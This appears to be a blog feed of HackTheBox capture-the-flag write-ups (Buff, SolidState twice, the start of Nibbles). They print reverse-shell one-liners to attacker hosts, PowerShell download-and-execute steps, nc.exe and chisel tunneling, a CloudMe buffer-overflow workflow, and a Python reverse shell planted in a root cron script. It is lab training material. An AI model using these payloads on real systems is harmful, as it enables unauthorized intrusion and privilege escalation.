class="language-python">STORK_INPUT_OPTIONS = { "html_selector" : ".post-content", "exclude_html_selector" : "#pec-encrypted" } </code></pre> <h2 id="styling">Styling</h2> <p>After that, it was just a matter of customizing the searchbar to fit in on the theme and be mobile responsive!</p> <h2 id="final-outcome">Final Outcome</h2> <p>When running <code>make devserver</code> or <code>make publish</code>, it automatically will call <code>stork</code> to build the toml and .st files required for indexing each build. It ensures the search index is constantly up to date any time changes are made.</p>2026-06-05T15:44:00-04:002026-06-09T00:19:25.052882-04:00Eric Turnertag:blog.ericturner.it,2026-06-05:/2026/06/05/hackthebox-markup/

<h2 id="start">Start</h2> <p>IP: <code>10.129.2.18</code></p> <h2 id="enumeration">Enumeration</h2> <p>As always, let's start with a nmap scan to see what we have.</p> <pre><code class="language-shell">eric@blog:~$ nmap -sSV -p- -oA 1_init_nmap 10.129.2.18 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-05 16:05 EDT Nmap scan report for 10.129.2 …</code></pre>

<h2 id="start">Start</h2> <p>IP: <code>10.129.2.18</code></p> <h2 id="enumeration">Enumeration</h2> <p>As always, let's start with a nmap scan to see what we have.</p> <pre><code class="language-shell">eric@blog:~$ nmap -sSV -p- -oA 1_init_nmap 10.129.2.18 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-05 16:05 EDT Nmap scan report for 10.129.2.18 Host is up (0.048s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 7680/tcp open pando-pub? 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 249.52 seconds </code></pre> <p>Two ports revealed, a <code>7680</code> where the service was not confidently fingerprinted, and 8080 for Apache on Windows.</p> <h3 id="8080-apache">8080 - Apache</h3> <p>Taking a glance at the website, we visually see "mrb3n's Bro Hut", what appears to be some sort of fitness site? Right clicking to view the source, I see a layout of where some of the css / js lives in <code>/boot</code>. Attempting to access this directory directly throws a 403 forbidden. No directory browsing enabled. On the contact page, we see "Made using Gym Management Software 1.0".</p> <p>A simple <code>searchsploit "Gym Management"</code> reveals multiple vulnerabilities, including SQL injection, Auth Bypass, XSS, and Unauthenticated RCE. Unauthenticated RCE sounds great, sign me up.</p> <h2 id="exploitation_1">Exploitation</h2> <p>Reviewing the code for <code>/usr/share/exploitdb/exploits/php/webapps/48506.py</code>, this exploit allows access to the <code>upload.php</code> file, uploads a php webshell as a fake png, and then allows you to interact at <code>/upload.php?id=kamehameha</code>. Unfortunately, this file was written in python 2.7, so we need to make some slight modifications to get it to work in python3.</p> <p><code>cp /usr/share/exploitdb/exploits/php/webapps/48506.py ./48506.py</code>. Then the following changes need made on line 48, 81, 83, 84: change print syntax to print(). Once finished, let's run.</p> <pre><code class="language-shell">eric@blog:~$ python3 48506.py http://10.129.2.18:8080/ SIG += BL+' \/'+RS+'\n' /\ /vvvvvvvvvvvv \--------------------------------------, `^^^^^^^^^^^^ /============BOKU=====================" \/ [+] Successfully connected to webshell. Exiting. </code></pre> <p>With the webshell active, we can visit <code>http://10.129.2.18:8080/upload/kamehameha.php?telepathy=whoami</code> and it returns <code>buff\shaun</code>.</p> <h2 id="post-exploitation">Post-Exploitation</h2> <h3 id="enumeration_1">Enumeration</h3> <p>We are in a command shell on windows so our commands need to be towards that. <code>dir</code> returns <code>Volume in drive C has no label. Volume Serial Number is A22D-49F7 Directory of C:\xampp\htdocs\gym\upload 06/06/2026 02:40</code>. I can easily navigate to the home directory <code>dir C:\users\shaun\</code>, poking around here, we find user.txt in Desktop, which we can reveal the contents with <code>type</code>.</p> <h3 id="shell-upgrade">Shell Upgrade</h3> <p>The current PHP script is great but we need better. Using msfvenom, we can generate a simple payload. <code>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f ps1 &gt; shell.ps1</code>. We can then start a web server on our attackbox to serve the payload via <code>python3 -m http.server</code>. Using the webshell, I tried several variants including <code>certutil</code> and <code>curl</code> which neither worked. The one that finally worked was <code>?telepathy=powershell -Command "Invoke-WebRequest -Uri 'http://10.10.10.10:8000/test.ps1' -OutFile 'C:\users\shaun\downloads\test.ps1'"</code> which grabbed the file. Then a second <code>?telepathy=powershell -ExecutionPolicy Bypass -File C:\users\shaun\downloads\test.ps1</code> to execute.</p> <p>Finally, a shell pops on my listener. Poking around, running some of the other shell commands reveals the antivirus is enabled and blocking. Unfortunately though, we're still in a dumb shell, although it was better than the php only shell. Let's try again. On our attacking machine <code>windows-binaries</code> reveals nc.exe, so we can spawn our remote server <code>python -m http.server</code> again and fetch this file.</p> <pre><code class="language-powershell"># victim iwr -URI 'http://10.10.10.10:8000/nc.exe' -OutFile 'C:\users\shaun\downloads\nc.exe' </code></pre> <pre><code class="language-shell"># attacker nc -lvnp 4440 </code></pre> <pre><code class="language-powershell"># victim cd C:\users\shaun\downloads .\nc.exe 10.10.10.10 4440 -e powershell </code></pre> <p>Finally a better shell!</p> <h3 id="more-enumeration">More Enumeration</h3> <p>In C:\xampp, a passwords.txt exists with default passwords. Attempting other commands such as <code>wmic logicaldisk get name</code>, <code>fsutil fsinfo drives</code> or <code>net use</code> throw the same malicious content, blocked by AV error.</p> <p>A <code>tasks.bat</code> exists under Shaun's Documents folder, with the line <code>START C:/xampp/xampp_start.exe</code> Under downloads, "CloudMe_1112.exe" exists. Using <code>tasklist /SVC</code>, <code>CloudMe.exe</code> is running under PID 4328. Using searchsploit, we discover this version is susceptible to a buffer overflow that can allow remote code execution, CVE-2020-37070. The exploit leverages the running port 8888. <code>netstat -ano | findstr 8888</code> confirms this port is active, but only locally and not exposed to our attacker machine.</p> <h2 id="priv-esc-exploitation_1">Priv-Esc // Exploitation</h2> <p>First, let's start with the exploit code, <code>cp /usr/share/exploitdb/exploits/windows/local/48499.txt 48499.py</code>. Following the instructions, we generate the msfvenom payload using <code>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -b "\x00\x0d\x0a" -f python</code> for our listener and paste it into the script. We now have our final python payload.</p> <p>The next hurdle is that all of the public exploit code is written in python or ruby, which is not available locally on the victim machine. I rattled my brain here a bit on what to do next. I have done SSH reverse tunnels before, but we don't have credentials for that. Alternatively, we could try to convert the python to another language (difficult) or package python with it somehow.</p> <p>I checked <code>ssh</code> but unfortunately no ssh available. I searched on google "how to tunnel traffic from windows to linux without ssh" and one of the first links is to <a href="https://superuser.com/questions/1675599/how-to-make-tunnels-in-linux-without-using-ssh">here</a>, explaining a tool named chisel. It appears this used to be bundled with kali at some point but no longer appears to be.</p> <p><code>sudo apt update</code> followed by <code>sudo apt install chisel</code> gets us the kali version v1.11.6. I downloaded the latest v1.11.5 version from GitHub <a href="https://github.com/jpillora/chisel">here</a>. Copied it over to <code>/usr/share/windows-resources/binaries</code> for any future use.</p> <p>Per the superuser link above, here's how we can tunnel:</p> <pre><code class="language-shell"># on attacker, in dir where chisel.exe is located python -m http.server </code></pre> <pre><code class="language-powershell"># on victim iwr -URI 'http://10.10.10.10:8000/chisel_1.11.5_amd64.exe' -OutFile 'C:\users\shaun\downloads\chisel.exe' </code></pre> <pre><code class="language-shell"># on attacker chisel server --reverse --port 9001 </code></pre> <pre><code class="language-powershell"># on victim .\chisel.exe client 10.10.10.10:9001 R:8888:127.0.0.1:8888 </code></pre> <p>Our tunnel shows connected. Spawn another tab on our attacker box to listen <code>nc -lvnp 4443</code>, and let's execute the payload <code>python3 48499.py</code>. We get an error that we cannot concat str to bytes. Let's fix the script by adding <code>b</code> before the <code>junk1</code>, <code>nops</code>, <code>junk2</code> strings. While the payload executes, the reverse shell doesn't light up.</p> <p>Let's try a PoC that doesn't have the SEH, DEP, ASLR protections built in, 48389. I copied over the payload and had to make a number of changes:</p> <ul> <li>swap payload and buf variables as our msfvenom generated payload used buf.</li> <li>change the exectption to print(e)</li> </ul> <p>Executing the payload <code>python3 48389.py</code> lights up the listener in <code>C:\Windows\system32</code>. <code>whoami</code> reveals we are <code>buff\administrator</code></p> <h2 id="admin">Admin</h2> <p>root.txt found under <code>C:\users\administrator\desktop\root.txt</code> to accomplish the box</p> <h2 id="lessons-learned">Lessons Learned</h2> <p>The initial access was fairly straight forward thanks to version information found on the website, and a quick searchsploit to find vulnerabilities. Upgrading from the php shell to a more stable shell was a bit more of a challenge. In the end, even using nc.exe did not feel incredibly stable. While attempting to use chisel for the first time, I made a couple of errors which CTRL+C ended up killing my shell and requiring me to re-exploit. I had 3 windows shells by the end, I could've skipped the msfvenom ps1 altogether and just went straight to nc.exe in the future.</p> <p>The AV on the machine was hit or miss on what it decided to block. It was initially blocking some of my original payloads, without returning output to the php shell, making it difficult to troubleshoot. I also initially tried to target port 9001 for the exploit, not realizing the actual 8888 was also forwarded over. Instead of needing to heavily modify variable names in the actual exploit code, I could've used <code>-v payload</code> to just rename the output to a different name.</p> <p><a href="https://bufferoverflows.net/practical-exploitation-part-1-cloudme-sync-1-11-2-bufferoverflow-seh/">This article</a> explains how to actually craft the buffer overflow code yourself using Immunity Debugger and mona.py. It starts with a basic payload, sending thousands of 'A's to determine if anything happens. After several increases, the SEH was overwritten which causes the application to crash. <code>mona.py</code> can then be used to print a unique rotation of letters instead of just As to identify the exact offsets to use and in finding a pop pop ret to redirect to the payload.</p>2026-06-01T21:06:00-04:002026-06-09T00:19:46.745362-04:00Eric Turnertag:blog.ericturner.it,2026-06-01:/2026/06/01/hackthebox-solidstate/

<p>Target: 10.129.8.75</p> <h1 id="enumeration">Enumeration</h1> <p>Starting off with our initial nmap scan with version detection:</p> <pre><code class="language-bash">$ nmap -sSV -p- -oA 1_init_nmap 10.129.8.75 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 21:12 EDT Nmap scan report for 10.129.8.75 Host is up (0.048s …</code></pre>

<p>Target: 10.129.8.75</p> <h1 id="enumeration">Enumeration</h1> <p>Starting off with our initial nmap scan with version detection:</p> <pre><code class="language-bash">$ nmap -sSV -p- -oA 1_init_nmap 10.129.8.75 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 21:12 EDT Nmap scan report for 10.129.8.75 Host is up (0.048s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 25/tcp open smtp? 80/tcp open http Apache httpd 2.4.25 ((Debian)) 110/tcp open pop3? 119/tcp open nntp? 4555/tcp open rsip? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel </code></pre> <p>We have a number of open ports, with OpenSSH 7.4p1 on 22/tcp and Apache httpd 2.4.25 on 80/tcp. The remaining ports appear to not have fingerprinted confidentally.</p> <h2 id="25tcp">25/tcp</h2> <p>Checking one of the first not-confident tcp ports, I attempted to pull the port with curl.</p> <pre><code class="language-bash">$ curl -IL 10.129.8.75:25 curl: (1) Received HTTP/0.9 when not allowed </code></pre> <p>Thinking it was an easy fix, I added <code>--http0.9</code> as an arg, only to receive:</p> <pre><code class="language-bash">$ curl -IL --http0.9 10.129.8.75:25 curl: (8) Weird server reply </code></pre> <p>Finally stripping <code>-IL</code> out returns some useful information:</p> <pre><code class="language-bash">$ curl --http0.9 10.129.8.75:25 220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 1 Jun 2026 21:26:54 -0400 (EDT) </code></pre> <p>I tested using <code>netcat -C 10.129.8.75 25</code> using the <code>VRFY</code> command for enumeration and it says not allowed. Using an nmap script also fails, as it appears there is an unusually long pause in the beginning before something returns via the connection. Using <code>searchsploit JAMES SMTP</code> reveals a potential arbitrary file write / command exploit for <code>Apache James Server 2.3.2</code>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2015-7611">CVE-2015-7611</a>. A <a href="https://gist.github.com/walexzzy/d5ca50d5d5f0563a998ee23b96391a4d">write-up</a> for this vulnerability reveals you must login to the admin panel, create a user with a directory traversal exploit <code>adduser ../../../../../../../../etc/bash_completion.d exploit</code>, and then send an email to this user with the command you want to execute. When any user signs in, it will execute.</p> <h1 id="4555tcp_1">4555/tcp</h1> <p>As seen in the <a href="https://gist.github.com/walexzzy/d5ca50d5d5f0563a998ee23b96391a4d">write-up</a>, this port is the administration port for Apache James. The write-up also states that this software ships with the default credentials <code>root:root</code>. Sure enough, it worked and we were able to use the command to create an exploitable user</p> <pre><code class="language-bash">$ nc -C 10.129.8.75 4555 JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands adduser ../../../../../../../../etc/bash_completion.d exploit User ../../../../../../../../etc/bash_completion.d added </code></pre> <h2 id="exploitation">Exploitation</h2> <p>With the vulnerability discovered and prerequisite exploit user created, the final step is to send a payload to gain access to the machine.</p> <pre><code class="language-bash">$ nc -C 10.129.8.75 25 220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 1 Jun 2026 21:57:02 -0400 (EDT) HELO example.com 250 solidstate Hello example.com (x.x.x.x [x.x.x.x]) MAIL FROM:&lt;admin@example.com&gt; 250 2.1.0 Sender &lt;admin@example.com&gt; OK RCPT TO: &lt;../../../../../../../../etc/bash_completion.d&gt; 250 2.1.5 Recipient &lt;../../../../../../../../etc/bash_completion.d@localhost&gt; OK DATA 354 Ok Send data ending with &lt;CRLF&gt;.&lt;CRLF&gt; /bin/bash -i &gt;&amp; /dev/tcp/x.x.x.x/4444 0&gt;&amp;1 . 250 2.6.0 Message received QUIT 221 2.0.0 solidstate Service closing transmission channel </code></pre> <p>The payload has been sent, however to trigger the reverse shell, it requires a user login. At this time, I don't have any other users, so back to enumeration.</p> <h2 id="enumeration-pt-2">Enumeration Pt 2</h2> <p>Port 80 hosts a simple website with the theme SolidState. I mapped the IP to the same <code>solid-state-security.com</code> seen in the footer, and attempted a vhost scan, but didn't return anything legitimate.</p> <p>A second scan for <code>gobuster dir -u http://solid-state-security.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -o 3_gobuster_dir.txt</code> did not return anything new besides /assets and /images.</p> <p>Attempting to connect to OpenSSH reveals a <code>** This session may be vulnerable to "store now, decrypt later" attacks.</code> banner, which isn't really actionable. I tried some of the usernames from the admin mail server with various passwords such as <code>mail</code>, their own username, <code>password</code>, <code>1234</code> to no avail.</p> <p>Port 119 can be connected via <code>nc -C</code> again and reveals it is an NNTP service, a posting framework that doesn't have anything interesting</p> <p>Back on port 4555, logged in as root, we can type <code>HELP</code> and then <code>listusers</code> to reveal additional users james, thomas, john, mindy and mailadmin. I reset all of the passwords to <code>password</code> here.</p> <p>Port 110 is a POP3 server. We can use <code>USER &lt;user&gt;</code> <code>PASS password</code> and <code>list</code> to check for emails. James &amp; Thomas have no emails. John has one, which we can get with <code>RETR 1</code>. It states to restrict mindy's access and send her a temp password. Switching to mindy's account, email 2 reveals a password of <code>P@55W0rd1!2@</code></p> <h2 id="user-access">User Access</h2> <p>Upon logging in as mindy via SSH, I get spammed with a bunch of command not found messages. Looks like CVE-2015-7611 was a red herring and did not actually work here. Either way, <code>user.txt</code> is in our home directory. </p> <p>I took a break for a day, so the IP from here on out has changed to <code>10.129.9.59</code>. The IP in <code>/etc/hosts</code> has also been updated to reflect this change. My host IP also changed.</p> <h2 id="credentialed-enumeration-rshell">Credentialed Enumeration (rshell)</h2> <p>With user access as mindy, now we need to do further enumeration to determine how to privesc to root.</p> <ul> <li><code>crontab -l</code> - <code>-rbash: crontab: command not found</code></li> <li><code>sudo -l</code> - <code>-rbash: sudo: command not found</code></li> <li><code>echo $SHELL</code> - <code>/bin/rbash</code></li> </ul> <p><code>rbash</code> is a new one for me, it's a restricted shell that prevents access to a set of whitelisted commands. <code>ls -la ~/bin</code> only contains <code>cat</code>, <code>env</code> and <code>ls</code>. Attempting to use <code>/</code> in a command is restricted.</p> <p>Crucial commands such as bash, ftp, gdb, python, man, vim, find, scp, php, perl, ruby, lua, sh, zip, tar, which are all not found.</p> <p><code>compgen -b</code> reveals the binaries we have access to. There are not many. We also have some functions under <code>compgen -A function</code>. <code>export -p</code> shows our exported variables, and which are read-only. Unfortunately PATH and SHELL are readonly.</p> <p>We are able to <code>cat /etc/passwd</code> which reveals a <code>james</code> that has bash as default shell instead of rbash. Maybe the secret is to use a different username exploit than I did for CVE-2015-7611 as the /etc/bash_completion.d functionality is set to disabled in our <code>.bashrc</code> via the <code>shopt -u progcomp</code> line. Though I also see <code>shopt -u mailwarn</code> set to disable mail checking?</p> <h2 id="credentialed-enumeration-bash">Credentialed Enumeration (bash)</h2> <p>I ended up going back to my original payload above and sending an apostrophe <code>'</code> before the actual command and it latched this time when mindy logged in. I see <code>whoami</code> finally works, indicating we seem to have somewhat further perms even though $SHELL indicates <code>/bin/rbash</code>. </p> <p>I was able to <code>cd /bin</code> and <code>exec bash</code>. Using <code>./ps -p $$</code> indicates we are in bash.</p> <p>I got lucky here by checking <code>/opt</code> first, a common place for user installed applications. I see the <code>james-2.3.2</code> dir, but also a tmp.py owned by root but writable by anyone. </p> <p>First, need to elevate from the dumb nc shell to an interactive tty. I followed the steps documented on my <a href="https://hackbook.ericturner.it/post_exploitation/#simple-shell-to-interactive">hackbook here</a>. </p> <h2 id="priv-esc">Priv Esc</h2> <p>Once active, I ran <code>nano tmp.py</code> to edit.</p> <p>I modified the script to look as follows:</p> <pre><code class="language-python">import os import sys import pty import socket try: s=socket.socket();s.connect(("x.x.x.x",4440));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash") except: sys.exit() </code></pre> <p>I also launched the listener with <code>nc -lvnp 4440</code></p> <p>Unfortunately, launching the script ourselves still keeps it as mindy. While I was searching online to figure out a way to privesc, the listener capture the session as root!</p> <h1 id="root_1">Root</h1> <p>As root, we get the flag here under /root/root.txt. Also <code>crontab -l</code> shows every 3 minutes the <code>python /opt/tmp.py</code> script is called.</p> <h1 id="conclusion">Conclusion</h1> <p>This was a pretty challenging box for me, but I learned a lot about exploiting SMTP and escaping a restricted shell. I was actually on the right track and had initially sent the payload before I ever logged in as mindy, but my payload wasn't properly formed and failed to capture the reverse shell. It took me a bit of stumbling before I determined I needed to fix the payload for it to latch.</p> <p>Escalation to root once the revshell in bash existed wasn't so bad. I got lucky stumbling into the file in /opt quickly.</p>2026-06-01T21:06:00-04:002026-06-09T00:19:46.745362-04:00Eric Turnertag:blog.ericturner.it,2026-06-01:/2026/06/01/hackthebox-solidstate/

<p>Target: 10.129.8.75</p> <h1 id="enumeration">Enumeration</h1> <p>Starting off with our initial nmap scan with version detection:</p> <pre><code class="language-bash">$ nmap -sSV -p- -oA 1_init_nmap 10.129.8.75 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 21:12 EDT Nmap scan report for 10.129.8.75 Host is up (0.048s …</code></pre>

<p>Target: 10.129.8.75</p> <h1 id="enumeration">Enumeration</h1> <p>Starting off with our initial nmap scan with version detection:</p> <pre><code class="language-bash">$ nmap -sSV -p- -oA 1_init_nmap 10.129.8.75 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-01 21:12 EDT Nmap scan report for 10.129.8.75 Host is up (0.048s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) 25/tcp open smtp? 80/tcp open http Apache httpd 2.4.25 ((Debian)) 110/tcp open pop3? 119/tcp open nntp? 4555/tcp open rsip? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel </code></pre> <p>We have a number of open ports, with OpenSSH 7.4p1 on 22/tcp and Apache httpd 2.4.25 on 80/tcp. The remaining ports appear to not have fingerprinted confidentally.</p> <h2 id="25tcp">25/tcp</h2> <p>Checking one of the first not-confident tcp ports, I attempted to pull the port with curl.</p> <pre><code class="language-bash">$ curl -IL 10.129.8.75:25 curl: (1) Received HTTP/0.9 when not allowed </code></pre> <p>Thinking it was an easy fix, I added <code>--http0.9</code> as an arg, only to receive:</p> <pre><code class="language-bash">$ curl -IL --http0.9 10.129.8.75:25 curl: (8) Weird server reply </code></pre> <p>Finally stripping <code>-IL</code> out returns some useful information:</p> <pre><code class="language-bash">$ curl --http0.9 10.129.8.75:25 220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 1 Jun 2026 21:26:54 -0400 (EDT) </code></pre> <p>I tested using <code>netcat -C 10.129.8.75 25</code> using the <code>VRFY</code> command for enumeration and it says not allowed. Using an nmap script also fails, as it appears there is an unusually long pause in the beginning before something returns via the connection. Using <code>searchsploit JAMES SMTP</code> reveals a potential arbitrary file write / command exploit for <code>Apache James Server 2.3.2</code>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2015-7611">CVE-2015-7611</a>. A <a href="https://gist.github.com/walexzzy/d5ca50d5d5f0563a998ee23b96391a4d">write-up</a> for this vulnerability reveals you must login to the admin panel, create a user with a directory traversal exploit <code>adduser ../../../../../../../../etc/bash_completion.d exploit</code>, and then send an email to this user with the command you want to execute. When any user signs in, it will execute.</p> <h1 id="4555tcp_1">4555/tcp</h1> <p>As seen in the <a href="https://gist.github.com/walexzzy/d5ca50d5d5f0563a998ee23b96391a4d">write-up</a>, this port is the administration port for Apache James. The write-up also states that this software ships with the default credentials <code>root:root</code>. Sure enough, it worked and we were able to use the command to create an exploitable user</p> <pre><code class="language-bash">$ nc -C 10.129.8.75 4555 JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands adduser ../../../../../../../../etc/bash_completion.d exploit User ../../../../../../../../etc/bash_completion.d added </code></pre> <h2 id="exploitation">Exploitation</h2> <p>With the vulnerability discovered and prerequisite exploit user created, the final step is to send a payload to gain access to the machine.</p> <pre><code class="language-bash">$ nc -C 10.129.8.75 25 220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 1 Jun 2026 21:57:02 -0400 (EDT) HELO example.com 250 solidstate Hello example.com (x.x.x.x [x.x.x.x]) MAIL FROM:&lt;admin@example.com&gt; 250 2.1.0 Sender &lt;admin@example.com&gt; OK RCPT TO: &lt;../../../../../../../../etc/bash_completion.d&gt; 250 2.1.5 Recipient &lt;../../../../../../../../etc/bash_completion.d@localhost&gt; OK DATA 354 Ok Send data ending with &lt;CRLF&gt;.&lt;CRLF&gt; /bin/bash -i &gt;&amp; /dev/tcp/x.x.x.x/4444 0&gt;&amp;1 . 250 2.6.0 Message received QUIT 221 2.0.0 solidstate Service closing transmission channel </code></pre> <p>The payload has been sent, however to trigger the reverse shell, it requires a user login. At this time, I don't have any other users, so back to enumeration.</p> <h2 id="enumeration-pt-2">Enumeration Pt 2</h2> <p>Port 80 hosts a simple website with the theme SolidState. I mapped the IP to the same <code>solid-state-security.com</code> seen in the footer, and attempted a vhost scan, but didn't return anything legitimate.</p> <p>A second scan for <code>gobuster dir -u http://solid-state-security.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -o 3_gobuster_dir.txt</code> did not return anything new besides /assets and /images.</p> <p>Attempting to connect to OpenSSH reveals a <code>** This session may be vulnerable to "store now, decrypt later" attacks.</code> banner, which isn't really actionable. I tried some of the usernames from the admin mail server with various passwords such as <code>mail</code>, their own username, <code>password</code>, <code>1234</code> to no avail.</p> <p>Port 119 can be connected via <code>nc -C</code> again and reveals it is an NNTP service, a posting framework that doesn't have anything interesting</p> <p>Back on port 4555, logged in as root, we can type <code>HELP</code> and then <code>listusers</code> to reveal additional users james, thomas, john, mindy and mailadmin. I reset all of the passwords to <code>password</code> here.</p> <p>Port 110 is a POP3 server. We can use <code>USER &lt;user&gt;</code> <code>PASS password</code> and <code>list</code> to check for emails. James &amp; Thomas have no emails. John has one, which we can get with <code>RETR 1</code>. It states to restrict mindy's access and send her a temp password. Switching to mindy's account, email 2 reveals a password of <code>P@55W0rd1!2@</code></p> <h2 id="user-access">User Access</h2> <p>Upon logging in as mindy via SSH, I get spammed with a bunch of command not found messages. Looks like CVE-2015-7611 was a red herring and did not actually work here. Either way, <code>user.txt</code> is in our home directory. </p> <p>I took a break for a day, so the IP from here on out has changed to <code>10.129.9.59</code>. The IP in <code>/etc/hosts</code> has also been updated to reflect this change. My host IP also changed.</p> <h2 id="credentialed-enumeration-rshell">Credentialed Enumeration (rshell)</h2> <p>With user access as mindy, now we need to do further enumeration to determine how to privesc to root.</p> <ul> <li><code>crontab -l</code> - <code>-rbash: crontab: command not found</code></li> <li><code>sudo -l</code> - <code>-rbash: sudo: command not found</code></li> <li><code>echo $SHELL</code> - <code>/bin/rbash</code></li> </ul> <p><code>rbash</code> is a new one for me, it's a restricted shell that prevents access to a set of whitelisted commands. <code>ls -la ~/bin</code> only contains <code>cat</code>, <code>env</code> and <code>ls</code>. Attempting to use <code>/</code> in a command is restricted.</p> <p>Crucial commands such as bash, ftp, gdb, python, man, vim, find, scp, php, perl, ruby, lua, sh, zip, tar, which are all not found.</p> <p><code>compgen -b</code> reveals the binaries we have access to. There are not many. We also have some functions under <code>compgen -A function</code>. <code>export -p</code> shows our exported variables, and which are read-only. Unfortunately PATH and SHELL are readonly.</p> <p>We are able to <code>cat /etc/passwd</code> which reveals a <code>james</code> that has bash as default shell instead of rbash. Maybe the secret is to use a different username exploit than I did for CVE-2015-7611 as the /etc/bash_completion.d functionality is set to disabled in our <code>.bashrc</code> via the <code>shopt -u progcomp</code> line. Though I also see <code>shopt -u mailwarn</code> set to disable mail checking?</p> <h2 id="credentialed-enumeration-bash">Credentialed Enumeration (bash)</h2> <p>I ended up going back to my original payload above and sending an apostrophe <code>'</code> before the actual command and it latched this time when mindy logged in. I see <code>whoami</code> finally works, indicating we seem to have somewhat further perms even though $SHELL indicates <code>/bin/rbash</code>. </p> <p>I was able to <code>cd /bin</code> and <code>exec bash</code>. Using <code>./ps -p $$</code> indicates we are in bash.</p> <p>I got lucky here by checking <code>/opt</code> first, a common place for user installed applications. I see the <code>james-2.3.2</code> dir, but also a tmp.py owned by root but writable by anyone. </p> <p>First, need to elevate from the dumb nc shell to an interactive tty. I followed the steps documented on my <a href="https://hackbook.ericturner.it/post_exploitation/#simple-shell-to-interactive">hackbook here</a>. </p> <h2 id="priv-esc">Priv Esc</h2> <p>Once active, I ran <code>nano tmp.py</code> to edit.</p> <p>I modified the script to look as follows:</p> <pre><code class="language-python">import os import sys import pty import socket try: s=socket.socket();s.connect(("x.x.x.x",4440));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash") except: sys.exit() </code></pre> <p>I also launched the listener with <code>nc -lvnp 4440</code></p> <p>Unfortunately, launching the script ourselves still keeps it as mindy. While I was searching online to figure out a way to privesc, the listener capture the session as root!</p> <h1 id="root_1">Root</h1> <p>As root, we get the flag here under /root/root.txt. Also <code>crontab -l</code> shows every 3 minutes the <code>python /opt/tmp.py</code> script is called.</p> <h1 id="conclusion">Conclusion</h1> <p>This was a pretty challenging box for me, but I learned a lot about exploiting SMTP and escaping a restricted shell. I was actually on the right track and had initially sent the payload before I ever logged in as mindy, but my payload wasn't properly formed and failed to capture the reverse shell. It took me a bit of stumbling before I determined I needed to fix the payload for it to latch.</p> <p>Escalation to root once the revshell in bash existed wasn't so bad. I got lucky stumbling into the file in /opt quickly.</p>2026-05-30T19:53:00-04:002026-06-09T00:19:50.545557-04:00Eric Turnertag:blog.ericturner.it,2026-05-30:/2026/05/30/hackthebox-nibbles/

<hr/> <p>Machine started with <code>10.129.6.88</code> IP.</p> <h2 id="enumeration">Enumeration</h2> <pre><code class="language-bash">$ nmap -sSV -p- -oA 1_nmap 10.129.6.88 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-29 21:51 EDT Nmap scan report for 10.129.6.88 Host is up (0.040s latency). Not shown: 65533 closed tcp ports …</code></pre>

<hr/> <p>Machine started with <code>10.129.6.88</code> IP.</p> <h2 id="enumeration">Enumeration</h2> <pre><code class="language-bash">$ nmap -sSV -p- -oA 1_nmap 10.129.6.88 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-29 21:51 EDT Nmap scan report for 10.129.6.88 Host is up (0.040s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel </code></pre> <ul> <li>Port 80 - web server - Nibbleblog on Apache 2.4.18<ul> <li>source code of website shows a comment <code>&lt;!--/nibbleblog/ directory--&gt;</code></li> <li><code>/nibbleblog</code> is a blog with no posts</li> <li>looking at the network tab, <code>/themes</code>, <code>/content</code>, <code>/admin</code> exist that other files are being pulled from. Directory browsing is on for all of them<ul> <li>/themes/ - several themes show version supported 4.0 / 4.0.1</li> <li>this version is susceptible to CVE-2015-6967, arbitrary file upload including PHP files</li> <li>"Unrestricted file upload vulnerability in the My Image plugin in Nibbleblog before 4.0.5 allows remote administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in content/private/plugins/my_image/image.php"</li> <li><code>nibbleblog/content/private/plugins/my_image/image.php</code> 404 not found</li> <li><a href="https://github.com/dix0nym/CVE-2015-6967/blob/main/exploit.py">CVE-2015-6967</a> shows <code>admin.php?controller=plugins&amp;action=config&amp;plugin=my_image</code> as the exploit path. This appears to work, but requires creds</li> </ul> </li> <li>Per the <a href="https://github.com/dignajar/nibbleblog/blob/2a5f242d89b85c0aae2df95c4c95bc627ade54fd/install.php">official GitHub</a>, install.php is what configures the site and it saves the password to <code>/content/private/shadow.php</code><ul> <li>attempting to visit <code>/nibbleblog/install.php</code> states it's already installed, as seen in line 32. The script exits, preventing further modification. However, it does point us to the <code>/content/private/config.xml</code> db file, which contains 